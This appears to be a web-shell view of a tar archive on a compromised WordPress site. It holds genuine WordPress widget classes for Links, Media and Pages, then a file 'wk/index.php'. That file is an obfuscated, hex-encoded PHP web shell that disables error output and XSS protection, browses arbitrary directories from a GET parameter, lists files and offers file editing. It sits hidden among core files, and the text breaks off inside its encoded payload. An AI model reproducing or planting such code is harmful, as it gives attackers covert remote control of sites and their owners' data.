Viewing File: /home/fshjisk/zrparis/wp-includes/sitemaps/providers/coffee/widgets.tar

class-wp-widget-links.php000066600000016173151372563020011425 0ustar00<?php
/**
 * Widget API: WP_Widget_Links class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Links widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Links extends WP_Widget {

	/**
	 * Sets up a new Links widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'Your blogroll' ),
			'customize_selective_refresh' => true,
		);
		parent::__construct( 'links', __( 'Links' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Links widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Links widget instance.
	 */
	public function widget( $args, $instance ) {
		$show_description = isset( $instance['description'] ) ? $instance['description'] : false;
		$show_name        = isset( $instance['name'] ) ? $instance['name'] : false;
		$show_rating      = isset( $instance['rating'] ) ? $instance['rating'] : false;
		$show_images      = isset( $instance['images'] ) ? $instance['images'] : true;
		$category         = isset( $instance['category'] ) ? $instance['category'] : false;
		$orderby          = isset( $instance['orderby'] ) ? $instance['orderby'] : 'name';
		$order            = 'rating' === $orderby ? 'DESC' : 'ASC';
		$limit            = isset( $instance['limit'] ) ? $instance['limit'] : -1;

		$before_widget = preg_replace( '/id="[^"]*"/', 'id="%id"', $args['before_widget'] );

		$widget_links_args = array(
			'title_before'     => $args['before_title'],
			'title_after'      => $args['after_title'],
			'category_before'  => $before_widget,
			'category_after'   => $args['after_widget'],
			'show_images'      => $show_images,
			'show_description' => $show_description,
			'show_name'        => $show_name,
			'show_rating'      => $show_rating,
			'category'         => $category,
			'class'            => 'linkcat widget',
			'orderby'          => $orderby,
			'order'            => $order,
			'limit'            => $limit,
		);

		/**
		 * Filters the arguments for the Links widget.
		 *
		 * @since 2.6.0
		 * @since 4.4.0 Added the `$instance` parameter.
		 *
		 * @see wp_list_bookmarks()
		 *
		 * @param array $widget_links_args An array of arguments to retrieve the links list.
		 * @param array $instance          The settings for the particular instance of the widget.
		 */
		wp_list_bookmarks( apply_filters( 'widget_links_args', $widget_links_args, $instance ) );
	}

	/**
	 * Handles updating settings for the current Links widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$new_instance = (array) $new_instance;
		$instance     = array(
			'images'      => 0,
			'name'        => 0,
			'description' => 0,
			'rating'      => 0,
		);
		foreach ( $instance as $field => $val ) {
			if ( isset( $new_instance[ $field ] ) ) {
				$instance[ $field ] = 1;
			}
		}

		$instance['orderby'] = 'name';
		if ( in_array( $new_instance['orderby'], array( 'name', 'rating', 'id', 'rand' ), true ) ) {
			$instance['orderby'] = $new_instance['orderby'];
		}

		$instance['category'] = (int) $new_instance['category'];
		$instance['limit']    = ! empty( $new_instance['limit'] ) ? (int) $new_instance['limit'] : -1;

		return $instance;
	}

	/**
	 * Outputs the settings form for the Links widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {

		// Defaults.
		$instance  = wp_parse_args(
			(array) $instance,
			array(
				'images'      => true,
				'name'        => true,
				'description' => false,
				'rating'      => false,
				'category'    => false,
				'orderby'     => 'name',
				'limit'       => -1,
			)
		);
		$link_cats = get_terms( array( 'taxonomy' => 'link_category' ) );
		$limit     = (int) $instance['limit'];
		if ( ! $limit ) {
			$limit = -1;
		}
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'category' ); ?>"><?php _e( 'Select Link Category:' ); ?></label>
			<select class="widefat" id="<?php echo $this->get_field_id( 'category' ); ?>" name="<?php echo $this->get_field_name( 'category' ); ?>">
				<option value=""><?php _ex( 'All Links', 'links widget' ); ?></option>
				<?php foreach ( $link_cats as $link_cat ) : ?>
					<option value="<?php echo (int) $link_cat->term_id; ?>" <?php selected( $instance['category'], $link_cat->term_id ); ?>>
						<?php echo esc_html( $link_cat->name ); ?>
					</option>
				<?php endforeach; ?>
			</select>
			<label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><?php _e( 'Sort by:' ); ?></label>
			<select name="<?php echo $this->get_field_name( 'orderby' ); ?>" id="<?php echo $this->get_field_id( 'orderby' ); ?>" class="widefat">
				<option value="name"<?php selected( $instance['orderby'], 'name' ); ?>><?php _e( 'Link title' ); ?></option>
				<option value="rating"<?php selected( $instance['orderby'], 'rating' ); ?>><?php _e( 'Link rating' ); ?></option>
				<option value="id"<?php selected( $instance['orderby'], 'id' ); ?>><?php _e( 'Link ID' ); ?></option>
				<option value="rand"<?php selected( $instance['orderby'], 'rand' ); ?>><?php _ex( 'Random', 'Links widget' ); ?></option>
			</select>
		</p>

		<p>
			<input class="checkbox" type="checkbox"<?php checked( $instance['images'], true ); ?> id="<?php echo $this->get_field_id( 'images' ); ?>" name="<?php echo $this->get_field_name( 'images' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'images' ); ?>"><?php _e( 'Show Link Image' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['name'], true ); ?> id="<?php echo $this->get_field_id( 'name' ); ?>" name="<?php echo $this->get_field_name( 'name' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'name' ); ?>"><?php _e( 'Show Link Name' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['description'], true ); ?> id="<?php echo $this->get_field_id( 'description' ); ?>" name="<?php echo $this->get_field_name( 'description' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Show Link Description' ); ?></label>
			<br />

			<input class="checkbox" type="checkbox"<?php checked( $instance['rating'], true ); ?> id="<?php echo $this->get_field_id( 'rating' ); ?>" name="<?php echo $this->get_field_name( 'rating' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'rating' ); ?>"><?php _e( 'Show Link Rating' ); ?></label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'limit' ); ?>"><?php _e( 'Number of links to show:' ); ?></label>
			<input id="<?php echo $this->get_field_id( 'limit' ); ?>" name="<?php echo $this->get_field_name( 'limit' ); ?>" type="text" value="<?php echo ( -1 !== $limit ) ? (int) $limit : ''; ?>" size="3" />
		</p>
		<?php
	}
}
class-wp-widget-media.php000066600000033355151372563020011365 0ustar00<?php
/**
 * Widget API: WP_Media_Widget class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements a media widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget
 */
abstract class WP_Widget_Media extends WP_Widget {

	/**
	 * Translation labels.
	 *
	 * @since 4.8.0
	 * @var array
	 */
	public $l10n = array(
		'add_to_widget'              => '',
		'replace_media'              => '',
		'edit_media'                 => '',
		'media_library_state_multi'  => '',
		'media_library_state_single' => '',
		'missing_attachment'         => '',
		'no_media_selected'          => '',
		'add_media'                  => '',
	);

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.8.1
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 *
	 * @param string $id_base         Base ID for the widget, lowercase and unique.
	 * @param string $name            Name for the widget displayed on the configuration page.
	 * @param array  $widget_options  Optional. Widget options. See wp_register_sidebar_widget() for
	 *                                information on accepted arguments. Default empty array.
	 * @param array  $control_options Optional. Widget control options. See wp_register_widget_control()
	 *                                for information on accepted arguments. Default empty array.
	 */
	public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) {
		$widget_opts = wp_parse_args(
			$widget_options,
			array(
				'description'                 => __( 'A media item.' ),
				'customize_selective_refresh' => true,
				'mime_type'                   => '',
			)
		);

		$control_opts = wp_parse_args( $control_options, array() );

		$l10n_defaults = array(
			'no_media_selected'          => __( 'No media selected' ),
			'add_media'                  => _x( 'Add Media', 'label for button in the media widget' ),
			'replace_media'              => _x( 'Replace Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
			'edit_media'                 => _x( 'Edit Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
			'add_to_widget'              => __( 'Add to Widget' ),
			'missing_attachment'         => sprintf(
				/* translators: %s: URL to media library. */
				__( 'We can&#8217;t find that file. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
				esc_url( admin_url( 'upload.php' ) )
			),
			/* translators: %d: Widget count. */
			'media_library_state_multi'  => _n_noop( 'Media Widget (%d)', 'Media Widget (%d)' ),
			'media_library_state_single' => __( 'Media Widget' ),
			'unsupported_file_type'      => __( 'Looks like this isn&#8217;t the correct kind of file. Please link to an appropriate file instead.' ),
		);
		$this->l10n    = array_merge( $l10n_defaults, array_filter( $this->l10n ) );

		parent::__construct(
			$id_base,
			$name,
			$widget_opts,
			$control_opts
		);
	}

	/**
	 * Add hooks while registering all widget instances of this widget class.
	 *
	 * @since 4.8.0
	 *
	 * @param int $number Optional. The unique order number of this widget instance
	 *                    compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		// Note that the widgets component in the customizer will also do
		// the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		if ( $this->is_preview() ) {
			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
		}

		// Note that the widgets component in the customizer will also do
		// the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		add_action( 'admin_footer-widgets.php', array( $this, 'render_control_template_scripts' ) );

		add_filter( 'display_media_states', array( $this, 'display_media_state' ), 10, 2 );
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'attachment_id' => array(
				'type'        => 'integer',
				'default'     => 0,
				'minimum'     => 0,
				'description' => __( 'Attachment post ID' ),
				'media_prop'  => 'id',
			),
			'url'           => array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				'description' => __( 'URL to the media file' ),
			),
			'title'         => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'sanitize_text_field',
				'description'           => __( 'Title for the widget' ),
				'should_preview_update' => false,
			),
		);

		/**
		 * Filters the media widget instance schema to add additional properties.
		 *
		 * @since 4.9.0
		 *
		 * @param array           $schema Instance schema.
		 * @param WP_Widget_Media $widget Widget object.
		 */
		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );

		return $schema;
	}

	/**
	 * Determine if the supplied attachment is for a valid attachment post with the specified MIME type.
	 *
	 * @since 4.8.0
	 *
	 * @param int|WP_Post $attachment Attachment post ID or object.
	 * @param string      $mime_type  MIME type.
	 * @return bool Is matching MIME type.
	 */
	public function is_attachment_with_mime_type( $attachment, $mime_type ) {
		if ( empty( $attachment ) ) {
			return false;
		}
		$attachment = get_post( $attachment );
		if ( ! $attachment ) {
			return false;
		}
		if ( 'attachment' !== $attachment->post_type ) {
			return false;
		}
		return wp_attachment_is( $mime_type, $attachment );
	}

	/**
	 * Sanitize a token list string, such as used in HTML rel and class attributes.
	 *
	 * @since 4.8.0
	 *
	 * @link http://w3c.github.io/html/infrastructure.html#space-separated-tokens
	 * @link https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList
	 * @param string|array $tokens List of tokens separated by spaces, or an array of tokens.
	 * @return string Sanitized token string list.
	 */
	public function sanitize_token_list( $tokens ) {
		if ( is_string( $tokens ) ) {
			$tokens = preg_split( '/\s+/', trim( $tokens ) );
		}
		$tokens = array_map( 'sanitize_html_class', $tokens );
		$tokens = array_filter( $tokens );
		return implode( ' ', $tokens );
	}

	/**
	 * Displays the widget on the front-end.
	 *
	 * @since 4.8.0
	 *
	 * @see WP_Widget::widget()
	 *
	 * @param array $args     Display arguments including before_title, after_title, before_widget, and after_widget.
	 * @param array $instance Saved setting from the database.
	 */
	public function widget( $args, $instance ) {
		$instance = wp_parse_args( $instance, wp_list_pluck( $this->get_instance_schema(), 'default' ) );

		// Short-circuit if no media is selected.
		if ( ! $this->has_content( $instance ) ) {
			return;
		}

		echo $args['before_widget'];

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		/**
		 * Filters the media widget instance prior to rendering the media.
		 *
		 * @since 4.8.0
		 *
		 * @param array           $instance Instance data.
		 * @param array           $args     Widget args.
		 * @param WP_Widget_Media $widget   Widget object.
		 */
		$instance = apply_filters( "widget_{$this->id_base}_instance", $instance, $args, $this );

		$this->render_media( $instance );

		echo $args['after_widget'];
	}

	/**
	 * Sanitizes the widget form values as they are saved.
	 *
	 * @since 4.8.0
	 *
	 * @see WP_Widget::update()
	 * @see WP_REST_Request::has_valid_params()
	 * @see WP_REST_Request::sanitize_params()
	 *
	 * @param array $new_instance Values just sent to be saved.
	 * @param array $instance     Previously saved values from database.
	 * @return array Updated safe values to be saved.
	 */
	public function update( $new_instance, $instance ) {

		$schema = $this->get_instance_schema();
		foreach ( $schema as $field => $field_schema ) {
			if ( ! array_key_exists( $field, $new_instance ) ) {
				continue;
			}
			$value = $new_instance[ $field ];

			/*
			 * Workaround for rest_validate_value_from_schema() due to the fact that
			 * rest_is_boolean( '' ) === false, while rest_is_boolean( '1' ) is true.
			 */
			if ( 'boolean' === $field_schema['type'] && '' === $value ) {
				$value = false;
			}

			if ( true !== rest_validate_value_from_schema( $value, $field_schema, $field ) ) {
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $field_schema );

			// @codeCoverageIgnoreStart
			if ( is_wp_error( $value ) ) {
				continue; // Handle case when rest_sanitize_value_from_schema() ever returns WP_Error as its phpdoc @return tag indicates.
			}

			// @codeCoverageIgnoreEnd
			if ( isset( $field_schema['sanitize_callback'] ) ) {
				$value = call_user_func( $field_schema['sanitize_callback'], $value );
			}
			if ( is_wp_error( $value ) ) {
				continue;
			}
			$instance[ $field ] = $value;
		}

		return $instance;
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 * @return string
	 */
	abstract public function render_media( $instance );

	/**
	 * Outputs the settings update form.
	 *
	 * Note that the widget UI itself is rendered with JavaScript via `MediaWidgetControl#render()`.
	 *
	 * @since 4.8.0
	 *
	 * @see \WP_Widget_Media::render_control_template_scripts() Where the JS template is located.
	 *
	 * @param array $instance Current settings.
	 */
	final public function form( $instance ) {
		$instance_schema = $this->get_instance_schema();
		$instance        = wp_array_slice_assoc(
			wp_parse_args( (array) $instance, wp_list_pluck( $instance_schema, 'default' ) ),
			array_keys( $instance_schema )
		);

		foreach ( $instance as $name => $value ) : ?>
			<input
				type="hidden"
				data-property="<?php echo esc_attr( $name ); ?>"
				class="media-widget-instance-property"
				name="<?php echo esc_attr( $this->get_field_name( $name ) ); ?>"
				id="<?php echo esc_attr( $this->get_field_id( $name ) ); // Needed specifically by wpWidgets.appendTitle(). ?>"
				value="<?php echo esc_attr( is_array( $value ) ? implode( ',', $value ) : (string) $value ); ?>"
			/>
			<?php
		endforeach;
	}

	/**
	 * Filters the default media display states for items in the Media list table.
	 *
	 * @since 4.8.0
	 *
	 * @param array   $states An array of media states.
	 * @param WP_Post $post   The current attachment object.
	 * @return array
	 */
	public function display_media_state( $states, $post = null ) {
		if ( ! $post ) {
			$post = get_post();
		}

		// Count how many times this attachment is used in widgets.
		$use_count = 0;
		foreach ( $this->get_settings() as $instance ) {
			if ( isset( $instance['attachment_id'] ) && $instance['attachment_id'] === $post->ID ) {
				$use_count++;
			}
		}

		if ( 1 === $use_count ) {
			$states[] = $this->l10n['media_library_state_single'];
		} elseif ( $use_count > 0 ) {
			$states[] = sprintf( translate_nooped_plural( $this->l10n['media_library_state_multi'], $use_count ), number_format_i18n( $use_count ) );
		}

		return $states;
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a widget is rendered.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		wp_enqueue_media();
		wp_enqueue_script( 'media-widgets' );
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		?>
		<script type="text/html" id="tmpl-widget-media-<?php echo esc_attr( $this->id_base ); ?>-control">
			<# var elementIdPrefix = 'el' + String( Math.random() ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>
			<div class="media-widget-preview <?php echo esc_attr( $this->id_base ); ?>">
				<div class="attachment-media-view">
					<button type="button" class="select-media button-add-media not-selected">
						<?php echo esc_html( $this->l10n['add_media'] ); ?>
					</button>
				</div>
			</div>
			<p class="media-widget-buttons">
				<button type="button" class="button edit-media selected">
					<?php echo esc_html( $this->l10n['edit_media'] ); ?>
				</button>
			<?php if ( ! empty( $this->l10n['replace_media'] ) ) : ?>
				<button type="button" class="button change-media select-media selected">
					<?php echo esc_html( $this->l10n['replace_media'] ); ?>
				</button>
			<?php endif; ?>
			</p>
			<div class="media-widget-fields">
			</div>
		</script>
		<?php
	}

	/**
	 * Whether the widget has content to show.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 * @return bool Whether widget has content.
	 */
	protected function has_content( $instance ) {
		return ( $instance['attachment_id'] && 'attachment' === get_post_type( $instance['attachment_id'] ) ) || $instance['url'];
	}
}
class-wp-widget-pages.php000066600000013070151372563020011375 0ustar00<?php
/**
 * Widget API: WP_Widget_Pages class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Pages widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Pages extends WP_Widget {

	/**
	 * Sets up a new Pages widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_pages',
			'description'                 => __( 'A list of your site&#8217;s Pages.' ),
			'customize_selective_refresh' => true,
		);
		parent::__construct( 'pages', __( 'Pages' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Pages widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Pages widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Pages' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/**
		 * Filters the widget title.
		 *
		 * @since 2.6.0
		 *
		 * @param string $title    The widget title. Default 'Pages'.
		 * @param array  $instance Array of settings for the current widget.
		 * @param mixed  $id_base  The widget ID.
		 */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$sortby  = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
		$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];

		if ( 'menu_order' === $sortby ) {
			$sortby = 'menu_order, post_title';
		}

		$out = wp_list_pages(
			/**
			 * Filters the arguments for the Pages widget.
			 *
			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_list_pages()
			 *
			 * @param array $args     An array of arguments to retrieve the pages list.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_pages_args',
				array(
					'title_li'    => '',
					'echo'        => 0,
					'sort_column' => $sortby,
					'exclude'     => $exclude,
				),
				$instance
			)
		);

		if ( ! empty( $out ) ) {
			echo $args['before_widget'];
			if ( $title ) {
				echo $args['before_title'] . $title . $args['after_title'];
			}

			$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( 'navigation_widgets_format', $format );

			if ( 'html5' === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
			}
			?>

			<ul>
				<?php echo $out; ?>
			</ul>

			<?php
			if ( 'html5' === $format ) {
				echo '</nav>';
			}

			echo $args['after_widget'];
		}
	}

	/**
	 * Handles updating settings for the current Pages widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( in_array( $new_instance['sortby'], array( 'post_title', 'menu_order', 'ID' ), true ) ) {
			$instance['sortby'] = $new_instance['sortby'];
		} else {
			$instance['sortby'] = 'menu_order';
		}

		$instance['exclude'] = sanitize_text_field( $new_instance['exclude'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Pages widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		// Defaults.
		$instance = wp_parse_args(
			(array) $instance,
			array(
				'sortby'  => 'post_title',
				'title'   => '',
				'exclude' => '',
			)
		);
		?>
		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>

		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>"><?php _e( 'Sort by:' ); ?></label>
			<select name="<?php echo esc_attr( $this->get_field_name( 'sortby' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>" class="widefat">
				<option value="post_title"<?php selected( $instance['sortby'], 'post_title' ); ?>><?php _e( 'Page title' ); ?></option>
				<option value="menu_order"<?php selected( $instance['sortby'], 'menu_order' ); ?>><?php _e( 'Page order' ); ?></option>
				<option value="ID"<?php selected( $instance['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option>
			</select>
		</p>

		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php _e( 'Exclude:' ); ?></label>
			<input type="text" value="<?php echo esc_attr( $instance['exclude'] ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>" class="widefat" />
			<br />
			<small><?php _e( 'Page IDs, separated by commas.' ); ?></small>
		</p>
		<?php
	}

}
wk/index.php000066600000156655151372563020007037 0ustar00<?php
class nigwqgqwtqwtqwt{
public function nigwqgqwtqwtqwti(){
$list = "73657373|696F|6E5F73|746172|7428|293B|68656164|65722822|582D58|53532D|50726F|74656374|69|6F6E|3A|20302229|3B6F62|5F7374|617274|28293B73|65|745F|7469|6D65|5F6C69|6D69|74283029|3B657272|6F725F|7265|706F72|7469|6E6728|30293B|69|6E695F73|657428|2764|697370|6C6179|5F657272|6F|727327|2C20|4641|4C5345|293B|0A2469|73416A61|78203D20|69|7373|65|7428|245F|5345|5256|45|525B2748|54|54|505F|58|5F5245|51|5545|535445|445F|5749|544827|5D2920|0A2020|2020|20|202020|20|26262073|7472|746F6C6F|776572|2824|5F|5345|5256|45525B|2748|5454|505F|585F5245|51554553|5445445F|57495448|275D2920|3D3D|3D2027|786D|6C687474|707265|7175|65737427|3B|0A|0A66756E|637469|6F6E2068|657828|246E|29207B|0A20|202020|24793D|27273B|0A|20|20202066|6F7220|2824|693D|303B20|2469203C|2073|74|726C65|6E2824|6E|293B2024|69|2B|2B|297B0A20|20|2020|20202020|2479|202E3D|20646563|686578|28|6F72|64|2824|6E|5B|24695D29|293B0A|20202020|7D0A2020|20|20726574|75726E20|24793B|0A7D0A66|75|6E637469|6F6E|207568|65|7828|24|79|2920|7B|0A2020|20|20246E3D|2727|3B|0A202020|20|666F7220|282469|3D303B|2024|69203C20|73|74|72|6C|656E|28247929|2D31|3B20|24|692B3D|32297B|0A202020|202020|2020246E|20|2E3D|20636872|28686578|64656328|24|795B24|695D2E24|795B|24|69|2B31|5D2929|3B0A|202020|207D0A|202020|20|726574|75726E|20246E3B|0A7D|0A|696620|286973|73|65742824|5F4745|545B22|64225D|2929207B|0A2020|20202464|20|3D|2075|68|6578|28245F|47|45545B|2264|225D293B|0A202020|20|6966|2028|69|735F|64|69722824|642929|207B0A|2020|20202020|20|2063|68646972|28246429|3B0A2020|20|207D|20656C|7365|207B0A|202020|20202020|20|246420|3D206765|7463|77642829|3B0A2020|20207D|0A|7D|20656C|736520|7B0A2020|20|2024|6420|3D206765|7463|776428|293B0A7D|0A66756E|63|7469|6F6E|20736574|466C61|73|682824|7374|617475|73|2C20|24|6D736729|207B|0A202020|20245F53|45535349|4F4E5B|27|73746174|75|73275D|203D|20247374|617475|733B0A|20202020|24|5F5345|5353494F|4E|5B276D|73|6727|5D203D20|246D|73|67|3B0A|7D0A6966|20|286973|73|65|742824|5F|4745|54|5B27|616A6178|275D|29|2026|2620245F|4745545B|2761|6A61|7827|5D|203D3D|203129|207B0A20|2020203F|3E0A2020|20203C74|6162|6C653E0A|20|202020|202020|203C|74686561|643E0A20|202020|202020|20202020|203C74|723E|0A|2020|202020|20202020|20|20202020|20203C74|683E4E61|6D65|3C|2F74683E|0A20|202020|202020|2020|20202020|20|20203C|74683E53|69|7A653C|2F74|68|3E0A20|2020|20202020|2020|20202020|2020|20|3C7468|3E416374|696F6E|733C2F74|683E|0A20|2020|2020|20|202020|202020|3C2F|7472|3E0A2020|20202020|2020|3C|2F|74686561|64|3E|0A20|202020|202020|203C7462|6F64|793E0A|2020|20|20|20202020|3C3F70|68700A20|202020|20|2020|2024656E|74|72|6965|7320|3D20|736361|6E646972|28246429|3B0A|20|20202020|2020|20246469|72|4C|6973|7420|3D|205B5D3B|0A20|202020|20|20202024|66|696C654C|69737420|3D205B5D|3B0A2020|202020|20202066|6F|72|6561|63682028|24|65|6E|747269|65|73|20617320|24656E|747279|29207B0A|20|202020|20|20|20|202020|2020|696620|282465|6E747279|203D|3D2027|2E27|207C7C|202465|6E74|7279|203D|3D2027|2E2E2729|2063|6F6E|7469|6E75653B|0A20|202020|20|2020|2020|20202024|70617468|203D|2024|64|202E20|444952|4543544F|52595F|53|455041|524154|4F5220|2E2024|656E74|72793B0A|2020|2020|2020|20|202020|2020|696620|28|69735F64|69|722824|706174|682929|207B|0A20|20|20|202020|202020|202020|20202020|246469|724C6973|745B|5D203D20|24656E|7472793B|0A|20202020|20202020|20202020|7D|20656C73|6520|7B0A2020|202020|20202020|20|20202020|2020|246669|6C654C69|73|74|5B|5D20|3D|20|24656E|747279|3B0A2020|20202020|20|20202020|207D0A|20202020|2020|20|20|7D0A2020|202020|20202066|6F|7265|616368|20|28246469|72|4C|69737420|61732024|656E7472|792920|7B|0A|20202020|20202020|202020|20247061|74|68203D|202464|202E2044|4952|4543544F|5259|5F53|4550|41|52|41|544F|52202E20|24656E74|72793B0A|202020|20202020|20202020|2065|63686F|20273C74|723E27|3B|0A20|20|2020|20|20|2020|20202020|6563686F|2027|3C|74|643E3C|612063|6C|61|73|733D22|616A61|7844|697222|20687265|663D223F|643D27|20|2E2068|6578|2824|706174|6829202E|2027|223E|27202E20|68746D6C|737065|636961|6C63|686172|732824|656E74|72792920|2E20273C|2F613E3C|2F|7464|3E27|3B0A20|2020|20202020|20|2020|202065|63686F|20|273C74|643E|2D|3C|2F74|64|3E273B|0A202020|202020|20202020|20|20656368|6F|20273C74|643E3C2F|74643E|273B0A20|20202020|2020|20|20202020|656368|6F|20273C2F|74723E27|3B0A20|202020|2020|20|207D0A|2020|2020|20|20202066|6F72|6561|6368|20|2824|66696C|65|4C697374|206173|202465|6E|7472|7929207B|0A202020|20|20|20202020|20|20|20247061|746820|3D2024|64202E20|4449|52454354|4F52595F|5345|5041|524154|4F|52|202E2024|656E74|72|793B0A|2020|2020|202020|20|202020|206563|686F20|273C7472|3E273B|0A202020|202020|20202020|2020|65|6368|6F20273C|74|643E|27202E20|68746D6C|737065|63|69616C63|68|61|7273|28|24|656E74|7279|29202E20|273C2F74|643E27|3B0A|20202020|2020|20|2020|202020|6563|686F2027|3C74643E|27|202E|202869|735F66|696C65|2824|70617468|2920|3F2066|696C65|7369|7A|65282470|617468|2920|2E|20272062|797465|732720|3A20272D|27|29|20|2E20273C|2F|74643E27|3B0A|20202020|202020|202020|20|20656368|6F|20273C|74643E27|3B|0A20|2020|20|2020|2020|2020|20|206563|686F2027|3C6120|636C|61|73733D22|616A61|7845|6469|74|2220|68726566|3D22|3F616374|69|6F6E3D65|646974|2664|3D27|202E2068|65782824|64|2920|2E202726|6669|6C653D27|202E|207572|6C656E63|6F|64|65|2824656E|74|72792920|2E20|27|223E